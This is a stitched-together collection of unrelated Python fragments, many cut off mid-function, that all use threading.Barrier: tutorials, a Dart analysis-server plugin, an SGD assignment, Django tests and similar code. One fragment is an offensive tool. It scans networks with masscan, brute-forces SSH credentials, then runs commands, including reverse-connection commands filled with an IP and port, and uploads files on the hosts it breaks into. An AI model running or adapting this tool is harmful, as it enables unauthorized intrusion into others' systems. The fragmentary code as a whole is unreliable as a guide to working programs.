import threading barrera = threading.Barrier(3) text = [] def red(letra): global text text.append(letra) print("1: ", text) barrera.wait() def green(letra): global text text.append(letra) print("2: ", text) barrera.wait() def blue(letra): global text text.append(letra) print("3: ", text) barrera.wait() if __name__ == "__main__": x = threading.Thread(target=red, args=("h", )) z = threading.Thread(target=blue, args=("i", )) y = threading.Thread(target=green, args=("e", ))
class AnalysisServer(object): MAX_ID = 9999999 # Halts all worker threads until the server is ready. _ready_barrier = threading.Barrier(4, timeout=5) _request_id_lock = threading.Lock() _op_lock = threading.Lock() _write_lock = threading.Lock() _request_id = -1 server = None @property def ready_barrier(self): return AnalysisServer._ready_barrier @property def stdout(self): return AnalysisServer.server.proc.stdout @property def stdin(self): return AnalysisServer.server.proc.stdin @staticmethod def get_request_id(): with AnalysisServer._request_id_lock: if AnalysisServer._request_id >= AnalysisServer.MAX_ID: AnalysisServer._request_id = -1 AnalysisServer._request_id += 1 return AnalysisServer._request_id @staticmethod def ping(): try: return AnalysisServer.server.is_running except AttributeError: return def __init__(self): self.roots = [] self.priority_files = [] self.requests = AnalyzerQueue('requests') self.responses = AnalyzerQueue('responses') reqh = RequestHandler(self) reqh.daemon = True reqh.start() resh = ResponseHandler(self) resh.daemon = True resh.start() @property def proc(self): return AnalysisServer.server def new_token(self): w = sublime.active_window() v = w.active_view() now = datetime.now() # 'c' indicates that this id was created at the client-side. token = w.id(), v.id(), '{}:{}:c{}'.format(w.id(), v.id(), AnalysisServer.get_request_id()) return token def add_root(self, path): """Adds `path` to the monitored roots if it is unknown. If a `pubspec.yaml` is found in the path, its parent is monitored. Otherwise the passed-in directory name is monitored. @path Can be a directory or a file path. """ if not path: _logger.debug('not a valid path: %s', path) return p = find_pubspec_path(path) if not p: _logger.debug('did not found pubspec.yaml in path: %s', path) return with AnalysisServer._op_lock: if p not in self.roots: _logger.debug('adding new root: %s', p) self.roots.append(p) self.send_set_roots(self.roots) return _logger.debug('root already known: %s', p) def start(self): if AnalysisServer.ping(): return sdk = SDK() _logger.info('starting AnalysisServer') AnalysisServer.server = PipeServer(['dart', sdk.path_to_analysis_snapshot, '--sdk={0}'.format(sdk.path)]) AnalysisServer.server.start(working_dir=sdk.path) self.start_stdout_watcher() try: # Server is ready. self.ready_barrier.wait() except threading.BrokenBarrierError: _logger.error('could not start server properly') return def start_stdout_watcher(self): sdk = SDK() t = StdoutWatcher(self, sdk.path) # Thread dies with the main thread. t.daemon = True # XXX: This is necessary. If we call t.start() directly, ST hangs. sublime.set_timeout_async(t.start, 0) def stop(self): req = requests.shut_down(AnalysisServer.MAX_ID + 100) self.requests.put(req, priority=TaskPriority.HIGHEST, block=False) self.requests.put({'_internal': _SIGNAL_STOP}, block=False) self.responses.put({'_internal': _SIGNAL_STOP}, block=False) # self.server.stop() def write(self, data): with AnalysisServer._write_lock: data = (json.dumps(data) + '\n').encode('utf-8') _logger.debug('writing to stdin: %s', data) self.stdin.write(data) self.stdin.flush() def send_set_roots(self, included=[], excluded=[]): _, _, token = self.new_token() req = requests.set_roots(token, included, excluded) _logger.info('sending set_roots request') self.requests.put(req, block=False) def send_find_top_level_decls(self, view, pattern): w_id, v_id, token = self.new_token() req = requests.find_top_level_decls(token, pattern) _logger.info('sending top level decls request') # TODO(guillermooo): Abstract this out. # track this type of req as it may expire g_req_to_resp['search']["{}:{}".format(w_id, v_id)] = token g_editor_context.search_id = token self.requests.put(req, view=view, priority=TaskPriority.HIGHEST, block=False) def send_find_element_refs(self, view, potential=False): if not view: return _, _, token = self.new_token() fname = view.file_name() offset = view.sel()[0].b req = requests.find_element_refs(token, fname, offset, potential) _logger.info('sending find_element_refs request') g_editor_context.search_id = token self.requests.put(req, view=view, priority=TaskPriority.HIGHEST, block=False) def send_add_content(self, view): w_id, v_id, token = self.new_token() data = {'type': 'add', 'content': view.substr(sublime.Region(0, view.size()))} files = {view.file_name(): data} req = requests.update_content(token, files) _logger.info('sending update content request - add') # track this type of req as it may expire self.requests.put(req, view=view, priority=TaskPriority.HIGH, block=False) def send_remove_content(self, view): w_id, v_id, token = self.new_token() files = {view.file_name(): {"type": "remove"}} req = requests.update_content(token, files) _logger.info('sending update content request - delete') self.requests.put(req, view=view, priority=TaskPriority.HIGH, block=False) def send_set_priority_files(self, files): if files == self.priority_files: return w_id, v_id, token = self.new_token() _logger.info('sending set priority files request') req = requests.set_priority_files(token, files) self.requests.put(req, priority=TaskPriority.HIGH, block=False)
except threading.BrokenBarrierError: print(name + ' broken') def test5(name): try: barrier.wait() except threading.BrokenBarrierError: print(name + ' broken') if is_exec_curr(exe_list, 9) and __name__ == "__main__": count = 0 step1 = 0 step2 = 0 barrier = threading.Barrier(2, action=referee) test1 = MyThread(test1, ('A', ), 'test1') test1.start() test2 = MyThread(test2, ('B', ), 'test2') test2.start() test1.join() test2.join() print(barrier.n_waiting) # 0 print(barrier.broken) # True print(barrier._state) # -2 print(barrier._count) # 0 print()
def Main(trigger): """ Main thread where the other 2 threads are started, where the keyboard is being read and where everything is brought together. :param trigger: CTRL-C event. When it's set, it means CTRL-C was pressed and all threads are ended. :return: Nothing. """ simultaneous_launcher = threading.Barrier(3) # synchronization object motor_command_queue = queue.Queue(maxsize = 2) # queue for the keyboard commands sensor_queue = queue.Queue(maxsize = 1) # queue for the IMU sensor keyboard_refresh_rate = 20.0 # how many times a second the keyboard should update available_commands = {"<LEFT>": "west", "<RIGHT>": "east", "<UP>": "north", "<DOWN>": "south", "<SPACE>": "stop", "w": "move"} # the selectable options within the menu menu_order = ["<LEFT>", "<RIGHT>", "<UP>", "<DOWN>", "<SPACE>", "w"] # and the order of these options print(" _____ _____ _ _____ ____ ") print(" / ____| | __ (_)/ ____| |___ \ ") print(" | | __ ___ | |__) || | __ ___ __) |") print(" | | |_ |/ _ \| ___/ | | |_ |/ _ \ |__ < ") print(" | |__| | (_) | | | | |__| | (_) | ___) |") print(" \_____|\___/|_| |_|\_____|\___/ |____/ ") print(" ") # starting the workers/threads orientate_thread = threading.Thread(target = orientate, args = (trigger, simultaneous_launcher, sensor_queue)) robotcontrol_thread = threading.Thread(target = robotControl, args = (trigger, simultaneous_launcher, motor_command_queue, sensor_queue)) orientate_thread.start() robotcontrol_thread.start() # if the threads couldn't be launched, then don't display anything else try: simultaneous_launcher.wait() print("Press the following keys for moving/orientating the robot by the 4 cardinal points") for menu_command in menu_order: print("{:8} - {}".format(menu_command, available_commands[menu_command])) except threading.BrokenBarrierError: pass # read the keyboard as long as the synchronization between threads wasn't broken # and while CTRL-C wasn't pressed with Input(keynames = "curtsies") as input_generator: while not (trigger.is_set() or simultaneous_launcher.broken): period = 1 / keyboard_refresh_rate key = input_generator.send(period) if key in available_commands: try: motor_command_queue.put_nowait(available_commands[key]) except queue.Full: pass # exit codes depending on the issue if simultaneous_launcher.broken: sys.exit(1) sys.exit(0)
# coding=utf-8 # # # !/data1/Python2.7/bin/python27 # # 凑够一定数量才能够一起执行的线程: Python 的 2.7 版本没有对应的barrier, 只有版本大于3才能够执行 # # import threading import time # 必须达到指定的线程数量后,才执行 bar = threading.Barrier(2) def run(): print threading.current_thread().name, "start " time.sleep(0.3) bar.wait() print threading.current_thread().name, "end " def main(): for I in range(5): threading.Thread(target=run).start() if __name__ == '__main__': main()
def fromFile(filePath, bbox=True, tbox=True): ''' TODO: update these docs function is called when filePath is included in commandline (with tag 'b') how this is done depends on the file format - the function calls the handler for each supported format \n extracted data are bounding box, temporal extent and crs, a seperate thread is dedicated to each extraction process \n input "filePath": type string, path to file from which the metadata shall be extracted \n input "whatMetadata": type string, specifices which metadata should be extracted \n returns None if the format is not supported, else returns the metadata of the file as a dict (possible) keys of the dict: 'temporal_extent', 'bbox', 'vector_reps', 'crs' ''' logging.info("Extracting bbox={} tbox={} from file {}".format( bbox, tbox, filePath)) if bbox == False and tbox == False: raise Exception("Please enter correct arguments") fileFormat = os.path.splitext(filePath)[1][1:] usedModule = None # initialization of later output dict metadata = {} # get the module that will be called (depending on the format of the file) for key in modulesSupported.keys(): if key == fileFormat: logging.info("Module used: {}".format(key)) usedModule = modulesSupported.get(key) # If file format is not supported if not usedModule: logger.info( "Did not find a compatible module for file format {} of file {}". format(fileFormat, filePath)) return None # Only extract metadata if the file content is valid try: usedModule.checkFileValidity(filePath) except Exception as e: raise Exception(os.getcwd() + " The file {} is not valid (e.g. empty):\n{}".format( filePath, str(e))) #get Bbox, Temporal Extent, Vector representation and crs parallel with threads class thread(threading.Thread): def __init__(self, thread_ID): threading.Thread.__init__(self) self.thread_ID = thread_ID def run(self): metadata["format"] = usedModule.fileType if self.thread_ID == 100: try: if bbox: metadata["bbox"] = computeBboxInWGS84( usedModule, filePath) except Exception as e: logger.warning( "Warning for {} extracting bbox:\n{}".format( filePath, str(e))) elif self.thread_ID == 101: try: if tbox: metadata["tbox"] = usedModule.getTemporalExtent( filePath) except Exception as e: logger.warning( "Warning for {} extracting tbox:\n{}".format( filePath, str(e))) elif self.thread_ID == 103: try: # the CRS is not neccessarily required if bbox and hasattr(usedModule, 'getCRS'): metadata["crs"] = usedModule.getCRS(filePath) elif tbox and hasattr(usedModule, 'getCRS'): metadata["crs"] = usedModule.getCRS(filePath) else: logger.warning( "Warning: The CRS cannot be extracted from the file {}" .format(filePath)) except Exception as e: logger.warning("Warning for {} extracting CRS:\n{}".format( filePath, str(e))) try: barrier.wait() except Exception as e: logger.debug("Error waiting for barrier: %s", e) barrier.abort() thread_bbox_except = thread(100) thread_temp_except = thread(101) thread_crs_except = thread(103) barrier = threading.Barrier(4) thread_bbox_except.start() thread_temp_except.start() thread_crs_except.start() barrier.wait() barrier.reset() barrier.abort() logger.debug("Extraction finished: {}".format(str(metadata))) return metadata
# Program not working! ... cannot import Barrier import threading from random import randrange from threading import Thread from time import ctime , sleep """ A barrier is a simple synchronization primitive which can be used by different threads to wait for each other. """ num = 4 b = threading.Barrier(num) names = ["Faizan","Faisal","Muneer","Burhan"] def player(): name = names.pop() sleep(randrange(2,5)) print("{} reachd the barrier at: {}".format(name,ctime())) b.wait() threads = [] print("Race Starts now...") for i in range(num): threads.append(Thread(target=player)) threads[-1].start()
#!/usr/bin/env python3 """ Deciding how many bags of chips to buy for the party """ import threading bags_of_chips = 1 # start with one on the list pencil = threading.Lock() fist_bump = threading.Barrier( 10 ) # barrier which will make one thread do smth before it and other after reaching the barrier def cpu_work(work_units): x = 0 for i in range(work_units * 1_000_000): x += 1 def barron_shopper(): global bags_of_chips cpu_work(1) # do a bit of work first fist_bump.wait() # before the action over the mutex with pencil: bags_of_chips *= 2 print('Barron DOUBLED the bags of chips.') def olivia_shopper(): global bags_of_chips cpu_work(1) # do a bit of work first with pencil:
they all yell break, and then, they scatter about to continue playing their game. We can use a similar strategy here to solve our race condition. Huddling together to synchronize when we each execute our operations to add and multiply items on the shopping list. I should complete my operation of adding three bags of chips to the list before we huddle together. """ import threading # start with one on the list bags_of_chips = 1 pencil = threading.Lock() # Number of threads to wait on the Barrier before it releases # 5 Each for Baron and Olivia, hence 10 fist_bump = threading.Barrier(10) def cpu_work(work_units): """ Simulating CPU intensive work """ x = 0 for work in range(work_units * 1_000_000): x += 1 def barron_shopper(): global bags_of_chips # do a bit of work first
with lock: surface.set_at((x, y), (255 - r, 255 - g, 255 - b)) try: barrier.wait() except threading.BrokenBarrierError: pass x += 1 x = 0 y += 1 N = 100 lock = threading.Lock() barrier = threading.Barrier(N + 1) list_threads = [] # initialize pygame pygame.init() # create a screen of width=600 and height=400 scr_w, scr_h = 500, 500 screen = pygame.display.set_mode((scr_w, scr_h)) # set window caption pygame.display.set_caption('Fractal Image: Mandelbrot') # create a clock clock = pygame.time.Clock()
def main(): global commandToExecute global filesToUpload global hostsToRunOn global remotePath global localPath global commands global running global barrier global retry retry = args.retry threads = [] with open(args.config) as fp: config = json.load(fp) with open(args.uploadCfg) as fp: filesToUpload = json.load(fp) with open(args.commandsToRun) as fp: commands = fp.read() commands = commands.replace('$FUN_IP', args.reverseIP, commands.count('$FUN_IP')) commands = commands.replace('$FUN_PORT', args.reversePort, commands.count('$FUN_PORT')) commands = tuple(commands.split('\n')) if args.noScan: hosts = [] for host in config['netcfg']['hosts']: try: hosts.extend(map(str, ipaddress.ip_network(host))) except (ipaddress.AddressValueError, ipaddress.NetmaskValueError) as e: sys.stderr.write(colored('[!!!]', 'red') + " Invalid IP Address %s: %s" % (host, str(e))) exit(1) else: scaner = masscan.PortScanner() if args.xml is not None: try: with open(args.xml) as fp: masscanXML = fp.read() except IOError as e: sys.stderr.write(colored('[!!!]', 'red') + " Error opening XML file: %s" % str(e)) exit(1) try: scanWithMetadata = scaner.analyse_masscan_xml_scan(masscanXML) except masscan.PortScannerError as e: sys.stderr.write(colored('[!!!]', 'red') + " Error parsing XML: %s\n" % str(e)) exit(1) else: hostsToScan = ' '.join(config['netcfg']['hosts']) portsToScan = ','.join(config['netcfg']['ports']) try: scanWithMetadata = scaner.scan(hostsToScan, portsToScan, arguments='--wait %d --rate 20000' % (args.wait)) except (masscan.PortScannerError, masscan.NetworkConnectionError) as e: sys.stderr.write(colored('[!!!]', 'red') + "Error running scan: %s\n" % str(e)) exit(1) scan = scanWithMetadata['scan'] pprint(scan) hosts = scan.keys() # build up attempt queue attemptArgs = list(itertools.product(hosts, map(int, config['netcfg']['ports']), config['users'], config['passwords'])) random.shuffle(attemptArgs) # ensure we aren't slamming the same host/user all the time for attempt in attemptArgs: q.put_nowait(attempt) # setup our total to count toards initalQSize = q.qsize() # create threads for tid in range(args.numThreads): t = threading.Thread(target=testCreds, args=(tid,)) working.append(False) t.start() threads.append(t) try: while not q.empty(): sys.stdout.write(colored('[%d/%d]\r' % (initalQSize - q.qsize(), initalQSize), 'green')) sys.stdout.write((' '*20) + '\r') for t in threads: t.join() except KeyboardInterrupt: retry = False print('\rSent kill signal, please wait for all threads to finish with current job.') while not q.empty(): q.get() for t in threads: t.join() barrier = threading.Barrier(len(sucessfulAttempts)+1) running = True threads = [] for attempt in sucessfulAttempts: t = threading.Thread(target=executeCommands, args=(attempt,)) t.start() threads.append(t) try: while True: try: option = input('>>> ').strip() except EOFError: break if option in 'hosts': while True: try: hostsToRunOn = ipaddress.ip_network(input("Hosts to command: ").strip()) break except (ipaddress.AddressValueError, ValueError): sys.stdout.write("\r%s Invalid IP address. " % colored('[!!!]', 'red')) except EOFError: break elif option in 'command': while True: try: commandToExecute = input("$ ").strip() except EOFError: break if commandToExecute == 'exit': break # unlock barrier for threads barrier.wait() # wait for threads to finish barrier.wait() while not q.empty(): attempt, result = q.get_nowait() stdout = result[1].read() stderr = result[2].read() print("%s %s@%s output:\n%s" % (colored("[###]",'green'), attempt[2], attempt[0], stdout.decode('ascii'))) if stderr: print("%s %s" % (colored('[!!!]', 'red'), stderr)) elif option in 'upload': while True: try: while True: localPath = input("Local Path: ") remotePath = input("Remote Path: ") try: if not os.path.isfile(localPath): print('Local file does not exist') else: break except IOError as e: print('Unable to access "%s". %s' % (localPath, str(e))) except EOFError: break commandToExecute = None barrier.wait() barrier.wait() while not q.empty(): attempt, result = q.get_nowait() print("%s %s@%s wrote sucessfully\n" % (colored("[###]",'green'), attempt[2], attempt[0])) elif option in 'exit': break elif option in 'list': for attempt in sucessfulAttempts: print(colored('[###]', 'green'), 'ssh %s@%s -p %d password: %s' % (attempt[2],attempt[0],attempt[1], attempt[3])) except KeyboardInterrupt: print(colored('\n[###]', 'blue'), 'Finishing final operation.') running = False # ensure no commands will be executed. hostsToRunOn = () try: barrier.wait() barrier.wait() for t in threads: t.join() except KeyboardInterrupt: print(colored('[!!!]', 'red'), 'Forcibly stopping.') exit(0)
def execute_main(args, default_device_name): # NOTE: The placement of this import statement is important. It is placed here because one # cannot assume that a config file exists when fopd.py is run. For example the # first time fopd.py is run on a new device there may not be a config # file yet. So make sure that execute_main is only called once in the program. # # TODO: Consider refacting the codebase so that hte config file is executed (e.g. # config = {} # exec(Path('config.py').read_text(), config) # The above commands will put the configuration file objects into the config dictionary. # the config dictionary can then be made available as a global. This would # allow the fopd to re-load the config file with out having to restart. from config import system, device_name if default_device_name != device_name: # get a logger keyed to the device name and as a side affect attach a rotating # file handler. logger = get_top_level_logger(device_name) else: logger = getLogger(default_device_name) logger.info('fopd device id: {}'.format(system['device_id'])) c = {'device_name': device_name} app_state = { 'system': system, 'config': c, 'stop': False, 'silent_mode': args.silent, 'sys': { 'cmd': None } } # create a Barrier that all the threads can syncronize on. This is to # allow threads such as mqtt or data loggers to get initialized before # other threads try to call them. # # Figure out how many active resources there are. Each active one needs to sync to the barrier. active_resource_count = 0 for r in system['resources']: if r['enabled']: active_resource_count += 1 # Each resource will use the barrier to signal when they have completed their initialization. # In addtion add one to the active resource count for the repl thread. It will also signal when it # has completed it's initialization. # logger.info('will start {} resource threads'.format(active_resource_count + 1)) b = threading.Barrier(active_resource_count + 1, timeout=20) # Each resource is implemented as a thread. Setup all the threads. tl = [] for r in system['resources']: m = import_module(r['imp']) if r['enabled']: if r['daemon']: tl.append( threading.Thread(target=m.start, daemon=r['daemon'], name=r['args']['name'], args=(app_state, r['args'], b))) else: tl.append( threading.Thread(target=m.start, name=r['args']['name'], args=(app_state, r['args'], b))) # start the built in REPL interpretter. tl.append( threading.Thread(target=repl_start, name='repl', args=(app_state, args.silent, b))) # Start all threads for t in tl: t.start() # Insert the updater (python remote deployment commands into the repl updater_init(app_state) # Stop here and Wait for non-daemon threads to complete. for t in tl: if not t.isDaemon(): t.join() # All the non-daemon threads have exited so exit fopd logger.info('fopd shutdown complete') # Exit with an exit code of success (e.g. 0) return 0
import threading import time startThread = threading.Barrier(3) #当有2个线程启动才开始执行 def go(): print(threading.current_thread().name, "start") startThread.wait() # time.sleep(4) print(threading.current_thread().name, "end") for i in range(6): threading.Thread(target=go).start()
# -*- coding:utf-8 -*- import threading import time def open(): print('人数够了, 开门!') barrier = threading.Barrier(3, open) class Customer(threading.Thread): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.n = 3 def run(self): while self.n > 0: self.n -= 1 print('{0}在等着开门.'.format(self.name)) try: barrier.wait(10) except threading.BrokenBarrierError: time.sleep(1) print("--->>> {}遭遇了一个破损态\n".format(self.name)) time.sleep(1) continue print('开门了, go go go') time.sleep(3)
def __init__(self): self.barrier = threading.Barrier(4) self.horses = ['Artax', 'Frankel', 'Bucephalus', 'Barton']
def add_to_debug_queue(node, interface, packet): barrier = threading.Barrier(2) MonitorManager._queue.put( (node,interface,packet,barrier) ) barrier.wait()
def sgd_mss_with_momentum_threaded_float32(Xs, Ys, gamma, W0, alpha, beta, B, num_epochs, num_threads): (d, n) = Xs.shape (c, d) = W0.shape # TODO perform any global setup/initialization/allocation (students should implement this) W = numpy.zeros(W0.shape, dtype=numpy.float32) V = numpy.zeros(W0.shape, dtype=numpy.float32) B_prime = int(B / num_threads) gradients = numpy.zeros((num_threads, W0.shape[0], W0.shape[1]), dtype=numpy.float32) sum_gradients = numpy.zeros(W0.shape, dtype=numpy.float32) # construct the barrier object iter_barrier = threading.Barrier(num_threads + 1) Xs_splits = [] Ys_splits = [] # n = 256 = 2^8 # B = 16 = 2^4 # num_threads = 4 for i in range(int(n / B * num_threads)): Xs_splits.append( numpy.ascontiguousarray(Xs[:, i * B_prime:i * B_prime + B_prime]).astype(numpy.float32)) Ys_splits.append(Ys[:, i * B_prime:i * B_prime + B_prime].astype( numpy.float32)) # a function for each thread to run def thread_main(ithread): # TODO perform any per-thread allocations cb1 = numpy.zeros((c, B_prime), dtype=numpy.float32) b1 = numpy.zeros((B_prime), dtype=numpy.float32) cd1 = numpy.zeros((c, d), dtype=numpy.float32) cd2 = numpy.zeros((c, d), dtype=numpy.float32) for it in range(num_epochs): for ibatch in range(int(n / B)): # TODO work done by thread in each iteration; this section of code should primarily use numpy operations with the "out=" argument specified (students should implement this) Xs_split = Xs_splits[ibatch * num_threads + ithread] Ys_split = Ys_splits[ibatch * num_threads + ithread] numpy.dot(W, Xs_split, out=cb1) # (c,d) x (d,b) = (c,b) cb1 numpy.amax(cb1, axis=0, out=b1) # (c,b) cb2 numpy.subtract(cb1, b1, out=cb1) # (c,b) cb1 numpy.exp(cb1, out=cb1) # (c,b) cb1 numpy.sum(cb1, axis=0, out=b1) # vector (b) (columns) b1 numpy.divide(cb1, b1, out=cb1) # (c,b) cb1 numpy.subtract(cb1, Ys_split, out=cb1) # (c,b) cb1 numpy.multiply(gamma, W, out=cd1) # (c,d) cd1 numpy.dot(cb1, Xs_split.transpose(), out=cd2) # (c,b) x (b,d) = (c,d) cd2 numpy.divide(cd2, B, out=cd2) # (c,d) cd2 numpy.add(cd2, cd1, out=cd1) # (c,d) cd1 gradients[ithread, :, :] = cd1 iter_barrier.wait() # Wait until new global gradient has been calculated iter_barrier.wait() worker_threads = [ threading.Thread(target=thread_main, args=(it, )) for it in range(num_threads) ] for t in worker_threads: # print("running thread ", t) t.start() print( "Running threaded minibatch sequential-scan SGD with momentum (%d threads) and float32" % num_threads) for it in tqdm(range(num_epochs)): for ibatch in range(int(n / B)): iter_barrier.wait() # TODO work done on a single thread at each iteration; this section of code should primarily use numpy operations with the "out=" argument specified (students should implement this) numpy.sum(gradients, axis=0, out=sum_gradients) # update V numpy.multiply(beta, V, out=V) numpy.multiply(alpha, sum_gradients, out=sum_gradients) numpy.subtract(V, sum_gradients, out=V) # update W numpy.add(W, V, out=W) iter_barrier.wait() for t in worker_threads: t.join() # return the learned model return W
kwargs={ 'matriceA': matriceA, 'matriceB': matriceB, 'x': i, 'y': j, 'matriceMul': matriceD }) th.start() matriceA = numpy.array([[1, 2], [1, 2]]) #on initialise la matrice A matriceB = numpy.array([[4, 4], [1, 4]]) #on intialise la matrice B matriceFin = numpy.array([[0, 0], [ 0, 0 ]]) #on initialise la matrice Fin qui sera le resultat de la multiplication print(matriceA) #on affiche les deux matrices print(matriceB) bar = thr.Barrier( 5) #on cree la barriere qui devra attendre 5 threads avant de s'ouvrir creatThread(2, matriceA, matriceB, matriceFin) #on lance la creation des threads bar.wait() #on attend les 5 threads pour afficher la matrice Fin print(matriceFin) bar.reset( ) #on reset le nombre de thread a attendre sinon la barriere reste ouverte, comme si on a referme la barriere matriceFinCarre = numpy.array( [[0, 0], [0, 0]]) #on initialise la derniere matrice Fin au carre creatThread(2, matriceFin, matriceFin, matriceFinCarre) #on lance le calcul bar.wait() #on attend la fin des 5 threads print(matriceFinCarre) #on affiche la matrice finale
def hello_meta(request): return HttpResponse( "From %s" % request.META.get("HTTP_REFERER") or "", content_type=request.META.get("CONTENT_TYPE"), ) def sync_waiter(request): with sync_waiter.lock: sync_waiter.active_threads.add(threading.current_thread()) sync_waiter.barrier.wait(timeout=0.5) return hello(request) sync_waiter.active_threads = set() sync_waiter.lock = threading.Lock() sync_waiter.barrier = threading.Barrier(2) test_filename = __file__ urlpatterns = [ path("", hello), path("file/", lambda x: FileResponse(open(test_filename, "rb"))), path("meta/", hello_meta), path("wait/", sync_waiter), ]
def _reset_barrier(self): self.barrier = threading.Barrier(self.num_participants, action=self._post_barrier_action)
def test_repeatable_read_concurrent_see_same_snapshot(): def create(): Sock.objects.all().delete() Sock.objects.create(id_a=1, id_b=1, colour='black') create_thread = threading.Thread(target=create) create_thread.start() create_thread.join() barrier_1 = threading.Barrier(3) barrier_2 = threading.Barrier(3) barrier_3 = threading.Barrier(3) barrier_4 = threading.Barrier(3) def update_multiple_transactions(): with transaction.atomic(): Sock.objects.all().update(colour='white') barrier_1.wait() barrier_2.wait() with transaction.atomic(): Sock.objects.all().update(colour='black') barrier_3.wait() barrier_4.wait() colour_1_1 = None colour_1_2 = None def select_single_repeatable_read_1(): nonlocal colour_1_1 nonlocal colour_1_2 with transaction.atomic(): cursor = connection.cursor() cursor.execute('SET TRANSACTION ISOLATION LEVEL REPEATABLE READ') barrier_1.wait() colour_1_1 = Sock.objects.get(id_a=1).colour barrier_2.wait() barrier_3.wait() colour_1_2 = Sock.objects.get(id_a=1).colour barrier_4.wait() colour_2_1 = None colour_2_2 = None def select_single_repeatable_read_2(): nonlocal colour_2_1 nonlocal colour_2_2 with transaction.atomic(): cursor = connection.cursor() cursor.execute('SET TRANSACTION ISOLATION LEVEL REPEATABLE READ') barrier_1.wait() colour_2_1 = Sock.objects.get(id_a=1).colour barrier_2.wait() barrier_3.wait() colour_2_2 = Sock.objects.get(id_a=1).colour barrier_4.wait() update_multiple_transactions_thread = threading.Thread(target=update_multiple_transactions) update_multiple_transactions_thread.start() select_single_repeatable_read_1_thread = threading.Thread(target=select_single_repeatable_read_1) select_single_repeatable_read_1_thread.start() select_single_repeatable_read_2_thread = threading.Thread(target=select_single_repeatable_read_2) select_single_repeatable_read_2_thread.start() update_multiple_transactions_thread.join() select_single_repeatable_read_1_thread.join() select_single_repeatable_read_2_thread.join() # Assert that with multiple repeatable read atomic blocks, they see the # can see the same snapshot, that doesn't change assert colour_1_1 == 'black' assert colour_1_2 == 'black' assert colour_2_1 == 'black' assert colour_2_2 == 'black'
maxProducedEnergy = 0 #GPIO-Pins GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) GPIO.setup(26, GPIO.OUT) GPIO.setup(20, GPIO.OUT) GPIO.output(26, GPIO.LOW) GPIO.output(20, GPIO.HIGH) #Netzwerk HOST = '192.168.1.25' PORT = 55555 #Barriere zum Synchronisieren der Threads Barriere = th.Barrier(2) #gibt an, wie viele der Requests in der Datei schon ausgeführt wurden textCount = 0 #lege Log-Datei an with open("/home/PHOTOVOLTAIK/ies/log.txt", "w") as filelog: filelog.write("Log-Datei vom: " + time.strftime("%d.%m.%Y um %H:%M:%S Uhr\n\n")) ######################################################################### #Klassen des Programms class DataHandle(): def __init__(self): self.output = ["0", "0", "0", "0", "0", "none"]
def worker(barrier): print(threading.current_thread().name, "waiting for barrier with {} others".format(barrier.n_waiting)) try: worker_id = barrier.wait() except threading.BrokenBarrierError: print(threading.current_thread().name, "aborting") else: print(threading.current_thread().name, "after barrier", worker_id) NUM_THREADS = 3 barrier = threading.Barrier(NUM_THREADS + 1) threads = [ threading.Thread( name="worker-%s" % i, target=worker, args=(barrier, ), ) for i in range(NUM_THREADS) ] for t in threads: print(t.name, "starting") t.start() time.sleep(0.1) barrier.abort()
"-P", "--n_pkts", help="number of packets to transmit to the client; default is 10", default=10, type=int) args = parser.parse_args() n_channels = args.n_channels pkt_loss_rate = args.pkt_loss_rate svr_base_port = args.svr_base_port ch_base_port = args.ch_base_port cl_base_port = args.cl_base_port ch_delay = args.ch_delay n_pkts = args.n_pkts # for synchronization of threads for a server, a client, and channels barrier = threading.Barrier(n_channels+2) # start a server t_svr = threading.Thread(target=server, kwargs=dict( n_channels=n_channels, pkt_loss_rate=pkt_loss_rate, svr_base_port=svr_base_port, ch_base_port=ch_base_port, cl_base_port=cl_base_port, n_pkts=n_pkts, barrier=barrier )) t_svr.start() # start channels
def servirPorSiempre(socketTcp, listaconexiones): global NumPlayers condition = threading.Condition( ) #Este condicional nos sirve para notificar al jugador host que la barrera ha sido cumplida y se puede proceder con el juego condSem = threading.Condition( ) #Este nos sirve para notificar al planificador de turnos que el jugador a termindao su turno y que puede proceder con el proximo listaSemaforos = [ ] #Se crea esta lista de semaforos para tener un control de cada jugador, a cada jugador se le pone un semaforo try: client_conn, client_addr = socketTcp.accept() print("Conectado a", client_addr) semaforoH = threading.Semaphore(0) #Semaforo del host listaSemaforos.append( semaforoH) #Se agrega el semaforo a la lista de semaforos listaconexiones.append(client_conn) thread_read = threading.Thread(target=recibir_datos_host, args=[ client_conn, client_addr, listaconexiones, condition, semaforoH, listaSemaforos, condSem ]) thread_read.start( ) #Se inicia el hilo del jugador host para pedir el numero de jugadores gestion_conexiones(listaConexiones) with condition: condition.wait( ) #Espera a que el host notifique que ya obtuvo el numero de jugadores barrier = threading.Barrier(NumPlayers - 1) #Se crea la barrera while True: client_conn, client_addr = socketTcp.accept( ) #Comienza a aceptar las conexiones de los demás jugadores print("Conectado a", client_addr) semaforoJ = threading.Semaphore( 0) #Crea el semaforo de cado jugador listaSemaforos.append( semaforoJ) #se agrega a la lista de semaforos listaconexiones.append(client_conn) thread_read = threading.Thread(target=recibir_datos, args=[ client_conn, client_addr, listaconexiones, barrier, condition, semaforoJ, listaSemaforos, condSem ]) thread_read.start() gestion_conexiones(listaConexiones) if ( len(listaConexiones) >= NumPlayers ): #Se verifica que ya no se acepten más conexiones de otros jugadores break print("SALIENDO DE SERVIR POR SIEMPRE") #COMENZAR PLANIFICACION DE TURNOS #Cuando estan todos los jugadores, se elige un personaje al azar junto con sus caracteristicas print("\nElegi al personaje {} con caracteristicas({})\n".format( personaje, personajeC)) while True: #Bucle infinito, se recorre la lista de semaforos infinitamente for sem in listaSemaforos: sem.release( ) #Se liberan los semaforos en la lista uno por uno, el primero es el del host with condSem: condSem.wait( ) #Se espera hasta que el jugador diga notifique que acabo except Exception as e: print(e)
import threading barrier = threading.Barrier( 3) # Three Thread : thread1, thread2 and Main-thread class thread(threading.Thread): def __init__(self, thread_ID): threading.Thread.__init__(self) self.thread_ID = thread_ID def run(self): print(str(self.thread_ID) + "\n") barrier.wait() thread1 = thread(100) thread2 = thread(101) thread1.start() thread2.start() barrier.wait() print("Exit !!!")
serfQ.get().start() serfQ.get().start() serfQ.get().start() serfQ.get().start() elif (hackers >= 2 and serfs == 2): serfs = 0 hackers = hackers - 2 hackerQ.get().start() hackerQ.get().start() serfQ.get().start() serfQ.get().start() # Main mutex = threading.Lock() barrier = threading.Barrier(4) hackerQ = queue.Queue(10) serfQ = queue.Queue(10) hackers = 0 serfs = 0 # hackers boarded hb = 0 # slaves boarded sb = 0 crossing = False # Create new threads h1 = hacker() h2 = hacker() h3 = hacker() h4 = hacker()
